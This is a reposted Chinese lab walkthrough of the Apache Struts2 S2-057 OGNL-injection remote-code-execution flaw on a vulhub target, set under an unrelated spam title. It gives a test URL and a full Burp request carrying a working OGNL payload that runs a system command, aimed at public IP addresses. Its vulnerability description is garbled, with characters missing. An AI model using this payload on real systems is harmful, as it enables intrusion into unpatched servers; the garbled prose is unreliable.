您的位置:首页 > 娱乐 > 八卦 > 网站建设服务合同 付款方式_下载软件大全_营销案例分析_怎么打开网站

网站建设服务合同 付款方式_下载软件大全_营销案例分析_怎么打开网站

2025/4/8 1:02:16 来源:https://blog.csdn.net/2301_78554096/article/details/146487514  浏览:    关键词:网站建设服务合同 付款方式_下载软件大全_营销案例分析_怎么打开网站
网站建设服务合同 付款方式_下载软件大全_营销案例分析_怎么打开网站

S2-057远程执⾏代码漏洞

vulhub靶 /struts2/s2-057

漏洞简介

漏洞产站配XML时如果有设置namespace且上层动作配有设

或使通配符namespace可能导致远程代漏洞的发⽣同样可能因为url签没有设置valueaction且上层动有设置或使通配符namespace⽽导致远程漏洞的发⽣

S2-057 先决条

alwaysSelectFullNamespace  - 元素未设置名称空间属性或使了通配

uri 传递命名并将其解析OGNL 最终导致远程代漏洞

访问靶机地址:http://121.40.229.129:8081/struts2-showcase/

 url

http://39.105.61.160:8080/struts2-showcase/$%7B(123+123)%7D/actionChain1.action 

刷新可以看到中间数字位置相加了 

 使用Burp抓包当前页面

 发送重放器,按下方修改代码

GET /struts2-showcase/$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/register2.action HTTP/1.1
Host: 39.105.61.160:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=46FFB76D910A0304B7BA6EB54FEF3585
Upgrade-Insecure-Requests: 1
Priority: u=0, i 

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com